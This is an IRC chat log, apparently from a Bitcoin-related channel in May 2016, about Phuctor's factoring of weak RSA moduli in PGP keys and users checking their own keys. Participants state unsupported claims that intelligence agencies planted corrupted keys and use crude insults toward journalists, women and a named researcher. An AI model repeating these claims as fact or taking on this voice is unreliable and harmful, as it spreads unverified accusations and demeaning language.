BA8A75F1 simon@hitzemann.org 1460990;1462192451;asciilifeform;secret signature presented to BBC et al << l0l!!!! 1460991;1462192458;asciilifeform;s33333333333333333333kr1t pgp sig ! 1460992;1462192465;asciilifeform;not for filthy plebes to see ! 1460993;1462192469;asciilifeform;trust yer masterz. 1460994;1462192477;asciilifeform;brilliant. 1460995;1462192483;*;asciilifeform takes off hat. 1460996;1462192562;asciilifeform;iceblox: if you are sure that the key is yours, actually yours, (there is a number of keys on sks maliciously corrupted in a way that they appear to have the legit fingerprint when viewed in certain pgp clients) 1460997;1462192578;asciilifeform;iceblox: then try please to determine the client you used 1460998;1462192589;asciilifeform;best of all, if you can find a copy of the source. 1460999;1462192633;jurov;iceblox: try to export the pubkey from your local copy and add to phuctor 1461000;1462192643;jurov;to check for any corruption 1461001;1462192735;asciilifeform;;;later tell mircea_popescu https://news.ycombinator.com/item?id=11609226 << lulzy 1461002;1462192735;gribble;The operation succeeded. 1461003;1462192752;iceblox;okay, I submitted my export for being checked... Let me try to find out what gpg version I used back then. At least it should be possible 1461004;1462192988;iceblox;Ok, according to the archives it should have been GnuPG-1.2.3 1461005;1462193009;asciilifeform;thanks iceblox 1461006;1462193029;iceblox;compiled with --enable-tiger and --with-static-rnd=auto 1461007;1462193032;asciilifeform;;;later tell mircea_popescu https://www.opennet.ru/opennews/art.shtml?num=44356 << moar lulz 1461008;1462193032;gribble;The operation succeeded. 1461009;1462193080;iceblox;Interesting, my newly submitted pubkey has 3 fingerprints less, but the bad public exponents are still part of it 1461010;1462193136;asciilifeform;iceblox: newly-submitted key was generated with what ? 1461011;1462193146;iceblox;--export --armor 1461012;1462193170;asciilifeform;$up fromphuctor_ 1461013;1462193173;deedbot;fromphuctor_ voiced for 30 minutes. 1461014;1462193178;asciilifeform;iceblox: yes, but what version of gpg ? 1461015;1462193199;jurov;eh, frompuctor's lingering along and never says anything 1461016;1462193210;iceblox;same, I only exported it from my machine instead of the one that was already on the website 1461017;1462193252;asciilifeform;iceblox: sks has the interesting 'feature' that it refuses to delete obsolete keys 1461018;1462193522;asciilifeform;$up fromphuctor__ 1461019;1462193523;deedbot;fromphuctor__ voiced for 30 minutes. 1461020;1462193661;asciilifeform;$up egorsmkv 1461021;1462193663;deedbot;egorsmkv voiced for 30 minutes. 1461022;1462193671;egorsmkv;So, lol http://phuctor.nosuchlabs.com/gpgkey/5490FA3620BD20F3AA05A1F4459275595754CB646DF7BCE8A3A96C6862ADF80E 1461023;1462193680;egorsmkv;https://cryptome.org/2015/11/satoshi-nakamoto-public-key.htm 1461024;1462193761;jurov;it's DSA, not RSA 1461025;1462193851;asciilifeform;welcome back a111 , we missed you so ! 1461026;1462193858;mircea_popescu;for srs. 1461027;1462193950;jurov;piratsimon asks me for voice too 1461028;1462193971;jurov;$up piratsimon 1461029;1462193972;deedbot;jurov may not $up piratsimon 1461030;1462194005;shinohai;lame 1461031;1462194026;asciilifeform;$up piratsimon 1461032;1462194027;mircea_popescu;* asciilifeform takes off hat. << note that they were brewing it since two months ago, finally went live days after phuctor ; finally went on social media rampage hours after phuctor. 1461033;1462194034;deedbot;piratsimon voiced for 30 minutes. 1461034;1462194039;mircea_popescu;plenty of freshly minted coincidences at coincidence bank. 1461035;1462194044;asciilifeform;aha. 1461036;1462194076;asciilifeform;the pulled one from 'crypto' category at the coincidence library, aha. 1461037;1462194145;asciilifeform;https://www.reddit.com/r/programming/comments/4hcvvi/200_pgp_keys_and_counting_publicly_broken/d2paizt << l0l, poor fella actually stepped on one of the nsa mines 1461038;1462194152;asciilifeform;(last comment) 1461039;1462194585;mircea_popescu;http://btcbase.org/log/2016-05-02#1461004 << the most useful thing would be an exact, verbatim copy of the software in question. 1461040;1462194585;a111;Logged on 2016-05-02 12:43 iceblox: Ok, according to the archives it should have been GnuPG-1.2.3 1461041;1462194697;mircea_popescu;asciilifeform ftr the .ru write-up is about 100x better than the anglo versions. wikipedia almost entirely to blame. 1461042;1462194799;mircea_popescu;;;later tell egorsmkv consider registering your pgp key with deedbot ; i'll rate you and you'll beable to self-voice 1461043;1462194799;gribble;The operation succeeded. 1461044;1462194876;mircea_popescu;ФуНиКолай - очевидно же << ahahahaha 1461045;1462194922;mircea_popescu;bwhhahahaha these are epic. Лаврентий Августович Плюшкин, Герхард фон Пырохсповыдлом 1461046;1462195041;mircea_popescu;asciilifeform re guy on reddit : he seems to be having the exact same key ? 1461047;1462195071;mircea_popescu;apparently there's some sort of apple shenanigans at work here. you reclal, apple, the dedicated-to-privacy company that recently wouldn't do something or the other to some phone or somesuch, i forget. 1461048;1462195205;mircea_popescu;in other news of vague interest, i burned ~13GB on trilema today alone, of which at least half to be attributed to phuctor discussions (mostly not in english). it's been a while since any event actually visibly dented trilema stats. too lazy to check on phuctor, but i imagine it's headed into terrabytes, what with its endless single pages and whatnot. 1461049;1462195453;deedbot;[Recent Phuctorings.] Phuctored: 565455 divides RSA Moduli belonging to 'The Source ; Lucian Solaris ; 7C492C5B491362F1 <491362F1@hackinfotech.org>; ' - http://phuctor.nosuchlabs.com/gpgkey/561245D928FF0843F5F346549A73B46C6836E3B2BE309DC7F6CCAFCF7F17795C 1461050;1462195702;mircea_popescu;https://productforums.google.com/forum/#!topic/gmail/crI-mecCLe0 << windows user. 1461051;1462195716;mircea_popescu;almost all of these seem to be in some way connected to either winblows or crapple. 1461052;1462196543;mircea_popescu;$up Twix 1461053;1462196543;deedbot;Twix voiced for 30 minutes. 1461054;1462196553;Twix;hi 1461055;1462196555;Twix;:> 1461056;1462196722;mircea_popescu;ello. 1461057;1462196773;mircea_popescu;http://blog.fefe.de/ << also pretty impressive. "proudly made without shit" line at the end ftw. 1461058;1462198876;jurov;asciilifeform: phuctor rejects this, any idea why? http://dpaste.com/2SKZM9A.txt 1461059;1462199068;jurov;if it requires self-signature, then testing ssh keys is out 1461060;1462199148;mircea_popescu;ah ssh keys aren't self-signed are they 1461061;1462199167;jurov;nope 1461062;1462199167;BingoBoingo;http://btcbase.org/log/2016-05-02#1460826 << Many people tried to find an easier softer way, but they could not. With all the earnestness at their command... 1461063;1462199167;a111;Logged on 2016-05-02 10:40 roxfan: i was hoping there's an easier way... 1461064;1462199214;mircea_popescu;jurov i see "gpg: armor header: Version: PGPy v0.4.0 gpg: packet(6) too short" 1461065;1462199250;mircea_popescu;BingoBoingo actually it's being built as we speak. jurov 's thing above is mere steps away from general purpose. 1461066;1462199309;jurov;huh i see .. tested only with pgpdump, not actually importing it 1461067;1462199312;BingoBoingo;Right, It's being done the actual way as opposed to the query shithub for an existing script way. 1461068;1462199539;mircea_popescu;actually there is no script. which in itself is glaringly scandalous. 1461069;1462199555;mircea_popescu;jurov possibly needs some padding. pgp keys are a festival of arbitrary and nonsensical fixed widths and whatnot. 1461070;1462199582;jurov;yea the py library i'm trying aptly reflects that 1461071;1462199872;mircea_popescu;$up hax404 1461072;1462199881;deedbot;hax404 voiced for 30 minutes. 1461073;1462199963;mircea_popescu;$up Echoplex 1461074;1462199964;deedbot;Echoplex voiced for 30 minutes. 1461075;1462200548;mircea_popescu;poor a111 getting hammered pretty good and solid. 1461076;1462200768;BingoBoingo;Related https://archive.is/GcpxP 1461077;1462200875;deedbot;[Trilema] Just call me Annah. - http://trilema.com/2016/just-call-me-annah/ 1461078;1462201057;mircea_popescu;maybe they should make special fatty hydrogen engine. 1461079;1462201062;mircea_popescu;need oxygen tank anyway amirite. 1461080;1462201188;asciilifeform;http://btcbase.org/log/2016-05-02#1461059 << it does not ! 1461081;1462201188;a111;Logged on 2016-05-02 14:24 jurov: if it requires self-signature, then testing ssh keys is out 1461082;1462201198;asciilifeform;will happily eat anything containing 1 or more rsa modulus. 1461083;1462201204;asciilifeform;in rfc2440/4880 format. 1461084;1462201283;asciilifeform;http://btcbase.org/log/2016-05-02#1461041 << noshit.jpg 1461085;1462201284;a111;Logged on 2016-05-02 13:11 mircea_popescu: asciilifeform ftr the .ru write-up is about 100x better than the anglo versions. wikipedia almost entirely to blame. 1461086;1462201392;jurov;mkay, will analyze the pubkey 1461087;1462201615;asciilifeform;$up nadav 1461088;1462201615;deedbot;nadav voiced for 30 minutes. 1461089;1462201807;mircea_popescu;$up schlaftier 1461090;1462201807;deedbot;schlaftier voiced for 30 minutes. 1461091;1462201811;phf;so odd, connection is otherwise stable, i have ssh open to it, but bot simply pinging out 1461092;1462201830;mircea_popescu;phf did it lose most od the day's log ? 1461093;1462201836;phf;no 1461094;1462201871;asciilifeform;$up fromphuctor_ 1461095;1462201872;deedbot;fromphuctor_ voiced for 30 minutes. 1461096;1462201898;mircea_popescu;http://btcbase.org/log/2016-05-02#1460660 << it turns out, it's yet another leah goodman story. kinda weaksauced. 1461097;1462201898;a111;Logged on 2016-05-02 04:40 asciilifeform: i will be disappointed if the new replacement for the phuctor story is not jp-toilet related. 1461098;1462201917;asciilifeform;at least i was hoping for leah on a jp toilet 1461099;1462201927;asciilifeform;but we get simple rubbish. 1461100;1462201934;asciilifeform;$up fromphuctor__ 1461101;1462201935;deedbot;fromphuctor__ voiced for 30 minutes. 1461102;1462201941;phf;well, it did, but i have a backup always, so unless there's a complete breakdown, logs are retained. i need to add an autoreconnector, but as is usually the case with that sort of things, i'm limited on time 1461103;1462201957;mircea_popescu;phf i looked, everything seems to be there 1461104;1462201974;mircea_popescu;every last valuable line of me going $up fromphuctor and all. 1461105;1462201979;mircea_popescu;$up Shredder121 1461106;1462201979;asciilifeform;lel 1461107;1462201982;deedbot;Shredder121 voiced for 30 minutes. 1461108;1462201986;asciilifeform;srsly why these folk never speak. 1461109;1462201994;Shredder121;Sorry 1461110;1462202012;Shredder121;I'm on mobile, so you got to me faster than I could /nick 1461111;1462202132;mircea_popescu;asciilifeform one of the things the web has done is trained clickers. 1461112;1462202141;mircea_popescu;people click, it's a webpage, what. 1461113;1462202141;asciilifeform;evidently. 1461114;1462202157;mircea_popescu;see what's here, see what's there, live of www.tv 1461115;1462202169;asciilifeform;ugh 1461116;1462202199;mircea_popescu;not even anything wrong with it per se. 1461117;1462202224;asciilifeform;https://www.reddit.com/r/programming/comments/4hcvvi/200_pgp_keys_and_counting_publicly_broken << surprisingly uncensored yet. 1461118;1462202231;asciilifeform;though apparenly reddit has problems staying up 1461119;1462202235;asciilifeform;(reddit per se) 1461120;1462202255;mircea_popescu;lol that hanno boeck assclown got called out. curious what happens nao. 1461121;1462202269;asciilifeform;where 1461122;1462202316;asciilifeform;http://btcbase.org/log/2016-05-02#1461046 << seems like the schmuck sat down on one of the helpfully prepared stakes - wrote 'apple' a bug report, which was duly read at ft meade on account of his using 'apple' key as appears on phuctor 1461123;1462202316;a111;Logged on 2016-05-02 13:17 mircea_popescu: asciilifeform re guy on reddit : he seems to be having the exact same key ? 1461124;1462202331;asciilifeform;$up sbp_ 1461125;1462202336;deedbot;sbp_ voiced for 30 minutes. 1461126;1462202430;mircea_popescu;https://news.ycombinator.com/item?id=11611785 1461127;1462202430;asciilifeform;http://btcbase.org/log/2016-05-02#1461051 << the ~100+ wholly shamatronic keys could've been made anywhere 1461128;1462202430;a111;Logged on 2016-05-02 13:28 mircea_popescu: almost all of these seem to be in some way connected to either winblows or crapple. 1461129;1462202450;mircea_popescu;asciilifeform yeah i meant the other ones. the "naively broken" ones, 1461130;1462202466;mircea_popescu;which seem mostly to be a case of "take p, q random numbers, skip on testing for primality." 1461131;1462202568;asciilifeform;mircea_popescu: my conclusion 1y ago was that the enemy is pretty good at factoring wholly-random-int rsamods. 1461132;1462202573;asciilifeform;(it isn't so hard.) 1461133;1462202580;mircea_popescu;yeah. 1461134;1462202615;mircea_popescu;if you think about it : for any random number, the odds of being divisible by 3 are 1 in 3. and by 7, 1 in 7. and the sum of this converges etc. 1461135;1462202617;Apocalyptic;17:19 <+mircea_popescu> which seem mostly to be a case of "take p, q random numbers, skip on testing for primality." // having a fully factored modulus would help to confirm this 1461136;1462202621;asciilifeform;my other hypothesis is that this was 'warmup' and current diddled pgptrons use somewhat more subtle magick 1461137;1462202642;asciilifeform;Apocalyptic: the presence of small primes more or less clinches it 1461138;1462202655;mircea_popescu;Apocalyptic i recall you were running miller-raqbin last year ? 1461139;1462202690;mircea_popescu;if you care to hack a py script, i think it could be bolted onto phuctor. 1461140;1462202707;Apocalyptic;asciilifeform: presence of small primes would happen either way, however if your modulus N has k bits and the biggest prime factor has k/2 bits, you could easily conclude that it wasn't generated the way mircea proposes 1461141;1462202725;mircea_popescu;well within some sort of probability. 1461142;1462202735;Apocalyptic;mircea_popescu: I factored a 32-bit mirrored one yeah, currently i'm trying to factor a non-mirrored small one 1461143;1462202751;asciilifeform;Apocalyptic: so far very little is known for certain. but the presence of multiple tiny primes is heavily suggestive of random int. 1461144;1462202757;mircea_popescu;cool deal. 1461145;1462202765;Apocalyptic;asciilifeform: indeed 1461146;1462202772;mircea_popescu;Apocalyptic you got a blog or anything ? where you gonna post ? 1461147;1462202785;Apocalyptic;i'm gonna post in-channel I guess, same as earlier 1461148;1462202802;asciilifeform;i've been considering adding a user-contributed factors box 1461149;1462202803;deedbot;[Qntra] Hoaxtoshi Coninues Swindling Media - http://qntra.net/2016/05/hoaxtoshi-coninues-swindling-media/ 1461150;1462202805;asciilifeform;(it'd be trivial) 1461151;1462202823;mircea_popescu;asciilifeform more like, you know, run m-r on the cracked moduli 1461152;1462202830;mircea_popescu;also trivial. not like it doesn't have the juice. 1461153;1462202841;mircea_popescu;and the results could be fed into the hopper in turn. 1461154;1462202873;asciilifeform;after the current wave of derp cools, i'll fiddle with it 1461155;1462202879;mircea_popescu;yeh. 1461156;1462202883;BingoBoingo;asciilifeform: sorry no japanese toilets for you, just Hoaxtoshi. Drove to get cigarettes, Nooyz made it to radio. 1461157;1462202891;asciilifeform;leloshi 1461158;1462202893;mircea_popescu;lol! 1461159;1462202897;mircea_popescu;wtf, radio ? seriously ? 1461160;1462202903;asciilifeform;it is strange that same sc4mz0r was recycled 1461161;1462202908;asciilifeform;they could not turn up another ? 1461162;1462202914;mircea_popescu;schmucks. "oh i work for big deal pr firm" "suck my cock". 1461163;1462202921;asciilifeform;i'vethunk there'd be no shortage of them 1461164;1462202940;mircea_popescu;asciilifeform i think a little bit of the whole spam strategy is at work. they WANT the smart folks to lose interest early. 1461165;1462202941;BingoBoingo; wtf, radio ? seriously ? << Yes in the generic CBS radio feed KMOX runs on the hour 1461166;1462202958;asciilifeform;mircea_popescu: that makes a certain amount of sense. 1461167;1462202978;asciilifeform;>>> http://www.loper-os.org/?p=1468 <<< obligatory 1461168;1462203006;davout;for some reason this hoaxtoshi stuff seems very interesting to journos 1461169;1462203036;mircea_popescu;in other non-news, omfg all the famished camhos posing as online dommes. they are the masters of your wallet dontchakno. 1461170;1462203039;mircea_popescu;derpiest shit ever. 1461171;1462203065;mircea_popescu;davout finally something about bitcoin with no maffs in it. they've been waiting patiently a long long time. 1461172;1462203092;BingoBoingo; for some reason this hoaxtoshi stuff seems very interesting to journos << Heartbleed and the bash vulnerability made radio 1461173;1462203109;mircea_popescu;asciilifeform aaand 500 1461174;1462203140;asciilifeform;waiwut 1461175;1462203143;asciilifeform;500 of wat 1461176;1462203146;mircea_popescu;500 of error code. 1461177;1462203155;davout;BingoBoingo: your radio seems cooler than mine! 1461178;1462203193;BingoBoingo;davout: If the weather's just right you can prolly pick up KMOX's 10,000 watts... maybe 1461179;1462203226;BingoBoingo;http://oglaf.com/twostars/ 1461180;1462203238;asciilifeform;mircea_popescu: it is up 1461181;1462203239;davout;moon bounce is a thing apparently 1461182;1462203241;asciilifeform;just strained 1461183;1462203286;mircea_popescu;kk 1461184;1462203298;mircea_popescu;how much bw did it burn this month ? got a stat anywhere ? 1461185;1462203348;asciilifeform;not readily 1461186;1462203373;asciilifeform;nic sent >1TB since last power cycle 1461187;1462203382;asciilifeform;(112 days ago.) 1461188;1462203386;mircea_popescu;aha. 1461189;1462203386;asciilifeform;but this includes, e.g., trb. 1461190;1462203392;mircea_popescu;not horrible. 1461191;1462203404;asciilifeform;there is nothing heavy on the site 1461192;1462203421;mircea_popescu;the braindamage page is like 1mb 1461193;1462203428;asciilifeform;~5. 1461194;1462203453;asciilifeform;i prolly oughta have massaged it further, e.g., pages 1461195;1462203460;mircea_popescu;btw, ever had a chance to turn off whatever dev environment ? ppls were pointing out. 1461196;1462203464;asciilifeform;aha. 1461197;1462203472;asciilifeform;it had to be reset correctly so the fix took. 1461198;1462203474;asciilifeform;but done. 1461199;1462203482;asciilifeform;i am still disappointed with the shitstack. 1461200;1462203482;mircea_popescu;honestly, nonpaged is better. guy gets whole thing in one go, prolly results in less overall bw as less futzing and wastage. 1461201;1462203496;asciilifeform;yeah greppable 1461202;1462203500;asciilifeform;sorta why i did it this way to begin with. 1461203;1462203502;mircea_popescu;curl it once an be done 1461204;1462203505;asciilifeform;aha. 1461205;1462203513;mircea_popescu;ya. right calL. 1461206;1462203531;asciilifeform;speaking of... 1461207;1462203532;asciilifeform;curl -s http://phuctor.nosuchlabs.com/sadmods | grep -c -i " 1 is not prime" 1461208;1462203541;asciilifeform;8 1461209;1462203545;asciilifeform;^^^ ! ^^^ 1461210;1462203567;mircea_popescu;one exponent is best exponent. 1461211;1462203592;asciilifeform;the journawhores dun seem to notice that one. 1461212;1462203630;asciilifeform;lel i'm surrounded by a number of folx here at slaveshit reading reddit etc 1461213;1462203768;mircea_popescu;are you workplace famous now ? 1461214;1462203788;asciilifeform;hopefullynot 1461215;1462203850;asciilifeform;though funnily enough i mentioned phuctor when i was hired there, as a 'litmus test' 1461216;1462203856;asciilifeform;(of them, that is) 1461217;1462203884;asciilifeform;sorta like throwing a rabbit out of airlock to see if atmosphere on new planet is breathable 1461218;1462204078;mircea_popescu;$up tophunctor____ 1461219;1462204078;deedbot;tophunctor____ voiced for 30 minutes. 1461220;1462204459;asciilifeform;mircea_popescu: https://www.reddit.com/r/sysadmin/comments/4hhd9p/psa_you_may_want_to_check_your_pgp_keys_and_keys/d2pplmj << lelz 1461221;1462204464;asciilifeform;'move along citizens!' 1461222;1462204534;mircea_popescu;lol reddit one behind the curve ? 1461223;1462204593;asciilifeform;paid muppet, prolly 1461224;1462204609;asciilifeform;(this'd be a dupe thread) 1461225;1462204686;mircea_popescu;"pgp was broken ayear ago i recall defcon talk"... it's kinda shocking in the despairing sense of the term, exactly what sort of monster a specialised society creates. 1461226;1462204711;mircea_popescu;"i know how to make widgets. i also think the loch ness monster found the cvadrature of the ellipsis." 1461227;1462204714;asciilifeform;BingoBoingo: http://qntra.net/2016/05/hoaxtoshi-coninues-swindling-media/#comment-56080 1461228;1462204764;asciilifeform;mircea_popescu: i dun think there is 'thought' involved in the usual sense 1461229;1462204770;asciilifeform;this here'd be orwell's 'duckspeak'. 1461230;1462204798;BingoBoingo;!up xorrbit 1461231;1462204799;gribble;Error: "up" is not a valid command. 1461232;1462204803;BingoBoingo;$up xorrbit 1461233;1462204803;deedbot;xorrbit voiced for 30 minutes. 1461234;1462204875;Apocalyptic;asciilifeform: re earlier thread I was considering either random p and q then multiplied, or whole modulus is random. Obviously the latter could not occur since the software couldn't compute phi(N), hence doing anything usefull with it. 1461235;1462204908;Apocalyptic;so yeah no k/2-bit prime to be expected in modulus 1461236;1462204921;asciilifeform;Apocalyptic: there are reasons why someone might generate wholly unusable modulus and post to sks. 1461237;1462204959;Apocalyptic;There might be, the resulting thing is a degree of magnitude less usable though 1461238;1462204999;asciilifeform;there appear to be at least two types of phucked moduli 1461239;1462205012;Apocalyptic;including the 32-bit mirrored ones ? 1461240;1462205018;asciilifeform;and it stands to reason that they were born in separate places for distinct reasons. 1461241;1462205021;asciilifeform;aha. 1461242;1462205033;Apocalyptic;so far I also see the two categories 1461243;1462205034;asciilifeform;the 32-bit mirrored ones are a fairly transparent ploy 1461244;1462205138;asciilifeform;mircea_popescu: lel, yet another firm wasted hours of my time only to barf when told that i refuse to 'top secret' 1461245;1462205322;mircea_popescu;http://qntra.net/2016/05/hoaxtoshi-coninues-swindling-media/#comment-56083 for great lulztice. 1461246;1462205348;mircea_popescu;Apocalyptic i just interpreted your argument to mean k/4 1461247;1462205416;mircea_popescu;asciilifeform ftr, there are VERY MANY people refusing to top secret for very many good reasons. 1461248;1462205443;mircea_popescu;one is that they pay fails to compensate the risks (trivially verified : find insurer who will indemnify you for any and all responsabilities in exchange of fraction of extra salary) 1461249;1462205472;asciilifeform;mircea_popescu: fact is, i'm approaching ~unemployable 1461250;1462205495;Apocalyptic;mircea_popescu: why k/4 ? my argument was if the whole modulus is random, then we can expect a k/2-bit prime factor, if modulus is random p times random q, then we can't unless p or q is actually prime (assuming p and q same size), which is quite unlikely if truly random 1461251;1462205502;mircea_popescu;as with all failing empires in history a) the better commentary happens among people who do not have the empire's language as native language ; b) the hassle of obtaining official seal of whatever exceeds the benefits. 1461252;1462205535;mircea_popescu;Apocalyptic p and q randomly generated can still produce a prime factor somewhere in there, perhaps as large as 1/4 of the length of the key. 1461253;1462205575;mircea_popescu;ie even with p, q obtained straight from /urandom, you can still see a 1024 bit prime or somesuch 1461254;1462205594;mircea_popescu;i don't recall right off how you calc the probability, but it is indeed tiny. 1461255;1462205595;Apocalyptic;yeah but why the 4 specifically ? for all you know you can have a k/3 prime as well 1461256;1462205619;mircea_popescu;hey, whadda ya want from me, when trying to rescue statements that are trivially broken i use heuristics! 1461257;1462205627;asciilifeform;mircea_popescu: prime number theorm 1461258;1462205628;Apocalyptic;the important thing is k/2 prime enables to distinguish between the 2, a k/4 prime doesn't, as it would occur in both cases 1461259;1462205640;asciilifeform;hadamard 1461260;1462205696;mircea_popescu;Apocalyptic i guess so. 1461261;1462206035;BingoBoingo;http://qntra.net/2016/05/hoaxtoshi-coninues-swindling-media/#comment-56085 1461262;1462206125;mircea_popescu;$up cyco 1461263;1462206126;deedbot;cyco voiced for 30 minutes. 1461264;1462206131;cyco;hey 1461265;1462206159;cyco;one of my old keys got phuctored 1461266;1462206172;asciilifeform;cyco: which ? 1461267;1462206189;cyco;http://phuctor.nosuchlabs.com/gpgkey/41CE4AD52DCCD849DEFF2F8EF2F59A5563DEF92184DA02E60743A44F38C9BDE4 1461268;1462206195;asciilifeform;cyco: and before getting alarmed, download the key and compare to yours 1461269;1462206203;cyco;ok i'll do that 1461270;1462206205;asciilifeform;it may be a spurious version, someone has been making them for years. 1461271;1462206230;asciilifeform;and this key appears to be one of them. 1461272;1462206774;mircea_popescu;$up cyco1 1461273;1462206775;deedbot;cyco1 voiced for 30 minutes. 1461274;1462206787;cyco1;thanks :) 1461275;1462206803;cyco1;it'll take some time to find the key in my backups 1461276;1462206816;cyco1;i'll come back when i've found it 1461277;1462206836;mircea_popescu;consider also registering your current key with deedbot 1461278;1462206846;mircea_popescu;i'll rate you and you'll beable to self voice in the future 1461279;1462208658;BingoBoingo;https://archive.is/b5odj https://archive.is/BpZyj https://archive.is/do0Pg And bonus lulz from GAW pumpers still around https://archive.is/lrzQs 1461280;1462208690;mircea_popescu;are they influencing and community-whatever-ing ? 1461281;1462208752;BingoBoingo;of course 1461282;1462208845;mircea_popescu;$up steffen 1461283;1462208849;mircea_popescu;good for them then. 1461284;1462208853;deedbot;steffen voiced for 30 minutes. 1461285;1462209174;BingoBoingo;;;bc,stats 1461286;1462209178;gribble;Current Blocks: 409899 | Current Difficulty: 1.7865925777252728E11 | Next Difficulty At Block: 411263 | Next Difficulty In: 1364 blocks | Next Difficulty In About: 1 week, 2 days, 8 hours, 13 minutes, and 9 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1461287;1462209184;BingoBoingo;;;ticker --market all 1461288;1462209191;gribble;Bitstamp BTCUSD last: 441.0, vol: 5354.45823665 | BTC-E BTCUSD last: 443.2, vol: 4879.32364 | Bitfinex BTCUSD last: 441.37, vol: 26801.5056244 | BTCChina BTCUSD last: 443.169345, vol: 20804.50170000 | Kraken BTCUSD last: 443.915, vol: 1075.02228224 | Bitcoin-Central BTCUSD last: 446.4716, vol: 69.1292423 | Volume-weighted last average: 442.174813814 1461289;1462209575;BingoBoingo;$up hdbuck 1461290;1462209576;deedbot;hdbuck voiced for 30 minutes. 1461291;1462209587;BingoBoingo;In other news the US Navy is now allowing neck tattoos 1461292;1462209672;mircea_popescu;"don't ink, don't yell" ? 1461293;1462209930;deedbot;[Recent Phuctorings.] Phuctored: 83780493 divides RSA Moduli belonging to 'James Bottomley ; James Bottomley ; James Bottomley ; James Bottomley ; ' - http://phuctor.nosuchlabs.com/gpgkey/23B2173C2FF1A9C43007D526720EA2B9EC1CB4AC21503429ACFBA1DA022517B3 1461294;1462209974;mircea_popescu;always nice to see kernel.org in there. 1461295;1462210026;mircea_popescu;i guess im gonna message him 1461296;1462210215;steffen;interesting stuff, added my public key to check it out ;) 1461297;1462210265;mircea_popescu;cool. 1461298;1462211771;phf;so i did a simple exercise, since there were some claims that "none of the keys import", of grabbing phuctored data. the 223 moduli represent 156 keys, importing which results in 133 "no valid user IDs" and 23 successful imports listed here http://paste.lisp.org/display/315214 1461299;1462211970;jurov;asciilifeform: i tried to check my own keys but http://phuctor.nosuchlabs.com/gpgkey/BBB0A99950037551F533850A677ABD62D0AEE7D7 gives me a broomstick 1461300;1462211987;jurov;then i noticed you use yet longer fingerprints 1461301;1462212056;asciilifeform;phf: not only this, but i strongly suspect that winblowz pgp eats them all... 1461302;1462212079;jurov;oh this is correct: http://phuctor.nosuchlabs.com/gpgfp/BBB0A99950037551F533850A677ABD62D0AEE7D7 1461303;1462212168;asciilifeform;jurov: why would i use short fp for anything! 1461304;1462212229;jurov;so even the 40char one is short? 1461305;1462212268;asciilifeform;the one above is correct. 1461306;1462213278;*;asciilifeform foiled in yet another escape attempt from butugychag. 1461307;1462213290;ben_vulpes;poor baby 1461308;1462213304;asciilifeform;lel 1461309;1462213350;phf;need a top-secret job where can discuss things in a public log, tmsr style 1461310;1462213386;asciilifeform;phf: pretty much all of my conversations ended the same way 1461311;1462213397;asciilifeform;(where i refuse to take holy orders, and they stop calling) 1461312;1462213471;phf;i've interviewed for reverser jobs in 2004 or so when i was still doing "infosec", and my interviews all ended same way because i'm not a citizen 1461313;1462213542;mircea_popescu;nice work phf . 1461314;1462213543;asciilifeform;i'm a citizen, but no good at lying. 1461315;1462213585;mircea_popescu;jurov he has to because obv keys can be diddled. 1461316;1462213595;mircea_popescu;we've seen different keys of same fingerprints etc. 1461317;1462213611;phf;"в день индийский слон съедает 100 кг сена, 50 кг моркови, 30 кг капусты, 40 кг хлеба и т.д" - неужели правда, что этот слон столько съедает? - съесть он может и съел бы, да кто ему даст... 1461318;1462213665;mircea_popescu;lol 1461319;1462213713;mircea_popescu;anyway, yet another thing bitcoin corrupts irretrievably. "wtf this secret job has no public log ? a fie upon you!" 1461320;1462213828;mircea_popescu;asciilifeform http://trilema.com/wp-content/uploads/2016/05/dscf-1957.jpg << face ? 1461321;1462214018;jurov;wtf you're on? i never tried to approach phuctor with sort fingerprint 1461322;1462214031;jurov;i always used 40-char one, just wrong url 1461323;1462214054;jurov;*with short fingerprint 1461324;1462214166;jurov;and noticed /gpgkey/ uses much longer hexporn and was confused 1461325;1462214200;jurov;that one is sha512 or something? 1461326;1462214278;asciilifeform;mircea_popescu: almost face! 1461327;1462214279;asciilifeform;neato. 1461328;1462214299;asciilifeform;съесть он может и съел бы, да кто ему даст << win. 1461329;1462214306;asciilifeform;^ my entire life. 1461330;1462214325;asciilifeform;$up gabriel_laddel 1461331;1462214326;deedbot;gabriel_laddel voiced for 30 minutes. 1461332;1462214329;mircea_popescu;jurov the reason for teh hexporn is that there have been diddled keys! 1461333;1462214363;jurov;yes! 1461334;1462214368;mircea_popescu;right. 1461335;1462214377;mircea_popescu;$up anotheryou 1461336;1462214377;deedbot;anotheryou voiced for 30 minutes. 1461337;1462214394;jurov;and i'm asking, what does /gpgkey/0xhexporn stand for? 1461338;1462214417;mircea_popescu;ie how he derives it from the keys ? nfi. i always assumed it's arbitrary index from db 1461339;1462214419;asciilifeform;jurov: it is a hash of the moduli 1461340;1462214422;asciilifeform;arbitrary! 1461341;1462214430;asciilifeform;plox do not attempt to use for anything other than indexing on phuctor. 1461342;1462214433;asciilifeform;NOT same as fp ! 1461343;1462214437;asciilifeform;those are separate ! 1461344;1462214439;mircea_popescu;$up plp 1461345;1462214439;deedbot;plp voiced for 30 minutes. 1461346;1462214441;jurov;ok, ty 1461347;1462214442;asciilifeform;and correspond to legit fp 1461348;1462214466;asciilifeform;jurov: i needed a way to uniquely identify ~keys~ rather than ~moduli~ 1461349;1462214479;asciilifeform;so that i could hash a key and determine if we have it already 1461350;1462214483;asciilifeform;without a megatonne of db grind 1461351;1462214489;asciilifeform;thinkaboutit. 1461352;1462214516;mircea_popescu;$up distemper 1461353;1462214516;deedbot;distemper voiced for 30 minutes. 1461354;1462214542;jurov;it's amazing that fingerprint is not even suitable for that use. 1461355;1462214560;mircea_popescu;quite the accomplishment yeah. 1461356;1462214566;asciilifeform;jurov: not only, but fp identified MODULI 1461357;1462214578;asciilifeform;(even if it worked perfectly with 0 collisions, which, guess what.) 1461358;1462214586;asciilifeform;$up fromphuctor__ 1461359;1462214587;deedbot;fromphuctor__ voiced for 30 minutes. 1461360;1462214677;asciilifeform;so many silenceisgolden folx 1461361;1462214679;mircea_popescu;your dash-mojo is not powerful enough! 1461362;1462214684;asciilifeform;such quiet 1461363;1462214809;anotheryou;sorry, just ment to lurk :) don't mind me. Maybe most don't need the up. 1461364;1462214829;anotheryou;trying to make sense and reading a bit before asciing stupid questions :) 1461365;1462214832;mircea_popescu;yeh. 1461366;1462214837;asciilifeform;commendable. 1461367;1462214854;mircea_popescu;i kinda gave up autovoicing the default nick folken. 1461368;1462214894;asciilifeform;at this point i can see it. 1461369;1462214911;mircea_popescu;he has a point, too. can just be here 